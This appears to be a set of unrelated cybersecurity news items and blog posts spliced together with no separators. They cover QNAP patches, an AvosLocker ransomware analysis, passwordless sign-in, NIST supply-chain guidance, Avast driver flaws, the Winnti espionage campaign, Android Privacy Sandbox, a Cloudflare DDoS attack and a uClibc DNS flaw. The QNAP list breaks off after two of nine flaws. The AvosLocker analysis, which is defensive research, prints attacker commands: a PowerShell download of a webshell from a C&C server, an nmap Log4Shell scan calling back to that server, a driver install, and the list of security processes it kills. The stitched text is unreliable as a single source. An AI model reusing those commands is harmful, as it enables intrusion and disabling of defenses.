QNAP, Taiwanese maker of network-attached storage (NAS) devices, on Friday released security updates to patch nine security weaknesses, including a critical issue that could be exploited to take over an affected system.
“A vulnerability has been reported to affect QNAP VS Series NVR running QVR,” QNAP said in an advisory. “If exploited, this vulnerability allows remote attackers to run arbitrary commands.”
Tracked as CVE-2022-27588 (CVSS score: 9.8), the vulnerability has been addressed in QVR 5.1.6 build 20220401 and later. Credited with reporting the flaw is the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC).
Aside from the critical shortcoming, QNAP has also resolved three high-severity and five medium-severity bugs in its software –
CVE-2021-38693 (CVSS score: 5.3) – A path traversal vulnerability in thttpd affecting QNAP devices running QTS, QuTS hero, QuTScloud, and QVR Pro Appliance, leading to information disclosure
CVE-2021-44054 (CVSS score: 4.3) – An open redirect vulnerability in QNAP devices running QTS, QuTS hero, and QuTScloud, making it possible to redirect users to a rogue web pages
We found samples of AvosLockerransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.
Infection chain
Figure 1. AvosLocker infection chain
According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:
Figure 2. The ADSS exploit abusing CVE-2021-40539
Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.
Mapping the infection
The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.
Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.Figure 4. HTA file connecting to the C&C
A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.
Figure 5. Obfuscated PowerShell script contains a shellcode
The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.
Figure 6. Gather system information
The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.
Figure 7. Executed with the /domain argument to collect username informationFigure 8. query user information for session data
The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.
Figure 9. The PowerShell downloading and installing AnyDeskMSI
We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.
Figure 10. Creating a new account with admin rightsFigure 11. Checking for anti-virus processes running
During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.
Figure 12. Terminating security products running
Tools and functions
Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:
Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk
We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.
Figure 14. Executing the anti-rootkit driver in the system
Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.
Figure 15. Detecting and deleting Mimikatz
We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.
Figure 16. Listing and terminating the security products found running in the compromised system
Verification: Manual replication of anti-virus disabling routine
We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :
EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc
Figure 17. Searching for processes
We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.
Figure 18. Driver file preparing to disable an anti-virus product
The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.
Figure 19. DeviceIoControl as an argument with the current process ID
Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.
Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).
Other executions and lateral movement
After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.
Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)
We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.
We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.
Figure 23. Checking for log4shell
We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.
Figure 24. Running more system network configuration discovery scans
Deploying across the network
We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.
Figure 25. Deploying malicious batch scripts to other endpoints
The deployed batch script has the following commands:
Disable Windows Update and Microsoft Defender
Figure 26. Disable Microsoft defense services
Prevents safeboot execution of security products
Figure 27. Prevent security products’ execution
Create new administrator account
Figure 28. Create new account
Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29. Add Autostart for ransomware executable
Disables legal notice caption
Figure 30. Disable legal notice
Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31. Setting and disabling network and specific Windows functions
Conclusion
While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).
This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.
Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.
However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.
Avast responded to our notification with this statement:
“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.
The below example shows that the blocking works (output from the “sc start” command):
(SC) StartService FAILED 1275:
This driver has been blocked from loading
The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.
All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.
For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”
Did you know that May 5, 2022, is World Password Day?1 Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every second—nearly doubling in frequency over the past 12 months.2
But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.
Free yourself with passwordless sign-in
Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:
Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
Select Turn on.
Approve the notification from Authenticator.
Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.
Strengthen security with multifactor authentication
One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.
Make sure your password isn’t the weak link
Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.3 For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”
Some basics to remember—make sure your password is:
At least 12 characters long.
A combination of uppercase and lowercase letters, numbers, and symbols.
Not a word that can be found in a dictionary, or the name of a person, product, or organization.
Completely different from your previous passwords.
Changed immediately if you suspect it may have been compromised.
Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:
Only share personal information in real-time—in person or by phone. (Be careful on social media.)
Be skeptical of messages with links, especially those asking for personal information.
Be on guard against messages with attached files, even from people or organizations you trust.
Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
Ensure all the apps on your device are legitimate (only from your device’s official app store).
Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)
Passwordless authentication is becoming commonplace
As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.
In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:
Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.
These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.
The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.
“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.
The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.
The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”
It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attackstargetingwidely-used software to breach dozens of downstream vendors all at once.
According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”
“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”
Faster, easier and more secure sign-ins will be available to consumers across leading devices and platforms
Mountain View, California, MAY 5, 2022 – In a joint effort to make the web more secure and usable for all, Apple, Google and Microsoft today announced plans to expand support for a common passwordless sign-in standard created by the FIDO Alliance and the World Wide Web Consortium. The new capability will allow websites and apps to offer consistent, secure, and easy passwordless sign-ins to consumers across devices and platforms.
Password-only authentication is one of the biggest security problems on the web, and managing so many passwords is cumbersome for consumers, which often leads consumers to reuse the same ones across services. This practice can lead to costly account takeovers, data breaches, and even stolen identities. While password managers and legacy forms of two-factor authentication offer incremental improvements, there has been industry-wide collaboration to create sign-in technology that is more convenient and more secure.
The expanded standards-based capabilities will give websites and apps the ability to offer an end-to-end passwordless option. Users will sign in through the same action that they take multiple times each day to unlock their devices, such as a simple verification of their fingerprint or face, or a device PIN. This new approach protects against phishing and sign-in will be radically more secure when compared to passwords and legacy multi-factor technologies such as one-time passcodes sent over SMS.
An Expansion of Passwordless Standard Support
Hundreds of technology companies and service providers from around the world worked within the FIDO Alliance and W3C to create the passwordless sign-in standards that are already supported in billions of devices and all modern web browsers. Apple, Google, and Microsoft have led development of this expanded set of capabilities and are now building support into their respective platforms.
These companies’ platforms already support FIDO Alliance standards to enable passwordless sign-in on billions of industry-leading devices, but previous implementations require users to sign in to each website or app with each device before they can use passwordless functionality. Today’s announcement extends these platform implementations to give users two new capabilities for more seamless and secure passwordless sign-ins:
Allow users to automatically access their FIDO sign-in credentials (referred to by some as a “passkey”) on many of their devices, even new ones, without having to re-enroll every account.
Enable users to use FIDO authentication on their mobile device to sign in to an app or website on a nearby device, regardless of the OS platform or browser they are running.
In addition to facilitating a better user experience, the broad support of this standards-based approach will enable service providers to offer FIDO credentials without needing passwords as an alternative sign-in or account recovery method.
These new capabilities are expected to become available across Apple, Google, and Microsoft platforms over the course of the coming year.
“‘Simpler, stronger authentication’ is not just FIDO Alliance’s tagline — it also has been a guiding principle for our specifications and deployment guidelines. Ubiquity and usability are critical to seeing multi-factor authentication adopted at scale, and we applaud Apple, Google, and Microsoft for helping make this objective a reality by committing to support this user-friendly innovation in their platforms and products,” said Andrew Shikiar, executive director and CMO of the FIDO Alliance. “This new capability stands to usher in a new wave of low-friction FIDO implementations alongside the ongoing and growing utilization of security keys — giving service providers a full range of options for deploying modern, phishing-resistant authentication.”
“The standards developed by the FIDO Alliance and World Wide Web Consortium and being led in practice by these innovative companies is the type of forward-leaning thinking that will ultimately keep the American people safer online. I applaud the commitment of our private sector partners to open standards that add flexibility for the service providers and a better user experience for customers,” said Jen Easterly, Director of the U.S. Cybersecurity and Infrastructure Security Agency. “At CISA, we are working to raise the cybersecurity baseline for all Americans. Today is an important milestone in the security journey to encourage built-in security best practices and help us move beyond passwords. Cyber is a team sport, and we’re pleased to continue our collaboration.”
“Just as we design our products to be intuitive and capable, we also design them to be private and secure,” said Kurt Knight, Apple’s Senior Director of Platform Product Marketing. “Working with the industry to establish new, more secure sign-in methods that offer better protection and eliminate the vulnerabilities of passwords is central to our commitment to building products that offer maximum security and a transparent user experience — all with the goal of keeping users’ personal information safe.”
“This milestone is a testament to the collaborative work being done across the industry to increase protection and eliminate outdated password-based authentication,” said Mark Risher, Senior Director of Product Management, Google. “For Google, it represents nearly a decade of work we’ve done alongside FIDO, as part of our continued innovation towards a passwordless future. We look forward to making FIDO-based technology available across Chrome, ChromeOS, Android and other platforms, and encourage app and website developers to adopt it, so people around the world can safely move away from the risk and hassle of passwords.”
“The complete shift to a passwordless world will begin with consumers making it a natural part of their lives. Any viable solution must be safer, easier, and faster than the passwords and legacy multi-factor authentication methods used today,” says Alex Simons, Corporate Vice President, Identity Program Management at Microsoft. “By working together as a community across platforms, we can at last achieve this vision and make significant progress toward eliminating passwords. We see a bright future for FIDO-based credentials in both consumer and enterprise scenarios and will continue to build support across Microsoft apps and services.”
The FIDO (Fast IDentity Online) Alliance, www.fidoalliance.org, was formed in July 2012 to address the lack of interoperability among strong authentication technologies, and remedy the problems users face with creating and remembering multiple usernames and passwords. The FIDO Alliance is changing the nature of authentication with standards for simpler, stronger authentication that define an open, scalable, interoperable set of mechanisms that reduce reliance on passwords. FIDO Authentication is stronger, private, and easier to use when authenticating to online services.
About Apple
Apple revolutionized personal technology with the introduction of the Macintosh in 1984. Today, Apple leads the world in innovation with iPhone, iPad, Mac, Apple Watch, and Apple TV. Apple’s five software platforms — iOS, iPadOS, macOS, watchOS, and tvOS — provide seamless experiences across all Apple devices and empower people with breakthrough services including the App Store, Apple Music, Apple Pay, and iCloud. Apple’s more than 100,000 employees are dedicated to making the best products on earth, and to leaving the world better than we found it.
About Google
Google’s mission is to organize the world’s information and make it universally accessible and useful. Through products and platforms like Search, Maps, Gmail, Android, Google Play, Google Cloud, Chrome and YouTube, Google plays a meaningful role in the daily lives of billions of people and has become one of the most widely-known companies in the world. Google is a subsidiary of Alphabet Inc.
About Microsoft
Microsoft enables digital transformation for the era of an intelligent cloud and an intelligent edge. Its mission is to empower every person and every organization on the planet to achieve more.
Two high-severity security vulnerabilities, which went undetected for several years, have been discovered in a legitimate driver that’s part of Avast and AVG antivirus solutions.
“These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded,” SentinelOne researcher Kasif Dekel said in a report shared with The Hacker News.
Tracked as CVE-2022-26522 and CVE-2022-26523, the flaws reside in a legitimate anti-rootkit kernel driver named aswArPot.sys and are said to have been introduced in Avast version 12.1, which was released in June 2016.
Specifically, the shortcomings are rooted in a socket connection handler in the kernel driver that could lead to privilege escalation by running code in the kernel from a non-administrator user, potentially causing the operating system to crash and display a blue screen of death (BSoD) error.
Worryingly, the flaws could also be exploited as part of a second-stage browser attack or to perform a sandbox escape, leading to far-reaching consequences.
Following responsible disclosure on December 20, 2021, Avast addressed the issues in version 22.1 of the software released on February 8, 2022. “Rootkit driver BSoD was fixed,” the company said in its release notes.
While there is no evidence that these flaws were abused in the wild, the disclosure comes merely days after Trend Micro detailed an AvosLocker ransomware attack that leveraged another issue in the same driver to terminate antivirus solutions on the compromised system.
Update: SentinelOne notes that the bug dates back to version 12.1, which it claims was released in January 2012. However, Avast’s own releasenotes show that version 12.1 was shipped in June 2016. We have reached out to SentinelOne for further comment, and we’ll update the story once we hear back.
An elusive and sophisticated cyberespionage campaign orchestrated by the China-backed Winnti group has managed to fly under the radar since at least 2019.
Dubbed “Operation CuckooBees” by Israeli cybersecurity company Cybereason, the massive intellectual property theft operation enabled the threat actor to exfiltrate hundreds of gigabytes of information.
Targets included technology and manufacturing companies primarily located in East Asia, Western Europe, and North America.
“The attackers targeted intellectual property developed by the victims, including sensitive documents, blueprints, diagrams, formulas, and manufacturing-related proprietary data,” the researchers said.
“In addition, the attackers collected information that could be used for future cyberattacks, such as details about the target company’s business units, network architecture, user accounts and credentials, employee emails, and customer data.”
Winnti, also tracked by other cybersecurity vendors under the names APT41, Axiom, Barium, and Bronze Atlas, is known to be active since at least 2007.
“The group’s intent is towards theft of intellectual property from organizations in developed economies, and with moderate confidence that this is on behalf of China to support decision making in a range of Chinese economic sectors,” Secureworks notes in a threat profile of the actor.
The multi-phased infection chain documented by Cybereason involves the exploitation of internet-facing servers to deploy a web shell with the goal of conducting reconnaissance, lateral movement, and data exfiltration activities.
It’s both complex and intricate, following a “house of cards” approach in that each component of the killchain depends on other modules in order to function, rendering analysis exceedingly difficult.
“This demonstrates the thought and effort that was put into both the malware and operational security considerations, making it almost impossible to analyze unless all pieces of the puzzle are assembled in the correct order,” the researchers explained.
The data harvesting is facilitated by means of a modular loader called Spyder, which is used to decrypt and load additional payloads. Also used are four different payloads — STASHLOG, SPARKLOG, PRIVATELOG, and DEPLOYLOG — that are sequentially deployed to drop the WINNKIT, a kernel-level rootkit.
Crucial to the stealthiness of the campaign is the use of “rarely seen” techniques such as the abuse of Windows Common Log File System (CLFS) mechanism to stash the payloads, enabling the hacking group to conceal their payloads and evade detection by traditional security products.
Interestingly, parts of the attack sequence were previously detailed by Mandiant in September 2021, while pointing out the misuse of CLFS to hide second-stage payloads in an attempt to circumvent detection.
The cybersecurity firm attributed the malware to an unknown actor, but cautioned that it could have been deployed as part of a highly targeted activity.
“Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files,” Mandiant said at the time. “This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.”
WINNKIT, for its part, has a compilation timestamp of May 2019 and has almost zero detection rate in VirusTotal, highlighting the evasive nature of the malware that enabled the authors to stay undiscovered for years.
The ultimate goal of the intrusions, the researchers assessed, is to siphon proprietary information, research documents, source code, and blueprints for various technologies.
“Winnti is one of the most industrious groups operating on behalf of Chinese state-aligned interests,” Cybereason said. “The threat [actor] employed an elaborate, multi-stage infection chain that was critical to enabling the group to remain undetected for so long.”
Google has officially released the first developer preview for the Privacy Sandbox on Android 13, offering an “early look” at the SDK Runtime and Topics API to boost users’ privacy online.
“The Privacy Sandbox on Android Developer Preview program will run over the course of 2022, with a beta release planned by the end of the year,” the search giant said in an overview.
A “multi-year effort,” Privacy Sandbox on Android aims to create technologies that’s both privacy-preserving as well as keep online content and services free without having to resort to opaque methods of digital advertising.
The idea is to limit sharing of user data with third-parties and operate without cross-app identifiers, including advertising ID, a unique, user-resettable string of letters and digits that can be used to track users as they move between apps.
Google originally announced its plans to bring Privacy Sandbox to Android earlier this February, following the footsteps of Apple’s App Tracking Transparency (ATT) framework.
Integral to the proposed initiative are two key solutions —
SDK Runtime, which runs third-party code in mobile apps such as software development kits (SDKs), including those for ads and analytics, in a dedicated sandbox, and
Topics API, which gleans “coarse-grained” interest signals on-device based on a user’s app usage that are then shared with advertisers to serve tailored ads without cross-site and cross-app tracking
To address criticisms that the model could possibly give Google an unfair advantage, the tech behemoth noted that the privacy-oriented systems will be developed as part of the Android Open Source Project (AOSP) to ensure transparency into the design and implementation of these solutions.
“Android will collaborate with the entire industry and app ecosystem on the journey to a more privacy-first mobile platform, and one which supports a rich diversity of value-exchange that benefits users, developers, and advertisers,” the company said.
Cloudflare on Wednesday disclosed that it acted to mitigate a 15.3 million request-per-second (RPS) distributed denial-of-service (DDoS) attack. The web infrastructure and website security company called it one of the “largest HTTPS DDoS attacks on record.”
“HTTPS DDoS attacks are more expensive in terms of required computational resources because of the higher cost of establishing a secure TLS encrypted connection,” Cloudflare’s Omer Yoachimik and Julien Desgats said. “Therefore it costs the attacker more to launch the attack, and for the victim to mitigate it.”
The volumetric DDoS attack is said to have lasted less than 15 seconds and targeted an unnamed Cloudflare customer operating a crypto launchpad.
Volumetric DDoS attacks are designed to overwhelm a target network/service with significantly high volumes of malicious traffic, which typically originate from a botnet under a threat actor’s control.
Cloudflare said the latest attack was launched from a botnet consisting of roughly 6,000 unique compromised devices, with 15% of the attack traffic emanating from Indonesia, followed by Russia, Brazil, India, Colombia, and the U.S.
“What’s interesting is that the attack mostly came from data centers,” Yoachimik and Desgats noted. “We’re seeing a big move from residential network Internet Service Providers (ISPs) to cloud compute ISPs.”
Record-setting DDoS attacks have become increasingly common in recent months. In August 2021, Cloudflare disclosed what it characterized as the largest application-layer attack ever seen, and, earlier this year, Microsoft revealed that it had prevented multiple DDoS attacks that crossed 2.4 terabits per second (Tbps).
In addition, cybersecurity firm Kaspersky revealed this week that the number of DDoS attacks hit an all-time high in the first quarter of 2022, jumping 4.5 times year-over-year, largely driven by Russia’s invasion of Ukraine.
“The DDoS attack landscape in Q1 was strongly influenced by the geopolitical situation: since the end of February, we have seen a surge in hacktivist activity and the emergence of a large number of spontaneous botnets that users connected to voluntarily,” the Russian company said.
Cybersecurity researchers have disclosed an unpatched security vulnerability that could pose a serious risk to IoT products.
The issue, which was originally reported in September 2021, affects the Domain Name System (DNS) implementation of two popular C libraries called uClibc and uClibc-ng that are used for developing embedded Linux systems.
uClibc is known to be used by major vendors such as Linksys, Netgear, and Axis, as well as Linux distributions like Embedded Gentoo, potentially exposing millions of IoT devices to security threats.
“The flaw is caused by the predictability of transaction IDs included in the DNS requests generated by the library, which may allow attackers to perform DNS poisoning attacks against the target device,” Giannis Tsaraias and Andrea Palanca of Nozomi Networks said in a Monday write-up.
DNS poisoning, also referred to as DNS spoofing, is the technique of corrupting a DNS resolver cache — which provides clients with the IP address associated with a domain name — with the goal of redirecting users to malicious websites.
The vulnerability in uClibc and uClibc-ng is the result of having a predictable transaction ID assigned to each DNS lookup and their static use of source port 53, effectively defeating source port randomization protections.
Successful exploitation of the bug could allow an adversary to carry out Man-in-the-Middle (MitM) attacks and corrupt the DNS cache, effectively rerouting internet traffic to a server under their control.
Nozomi Networks cautioned that the vulnerability could be trivially exploited in a reliable manner should the operating system be configured to use a fixed or predictable source port.
“The attacker could then steal and/or manipulate information transmitted by users, and perform other attacks against those devices to completely compromise them,” the researchers said.
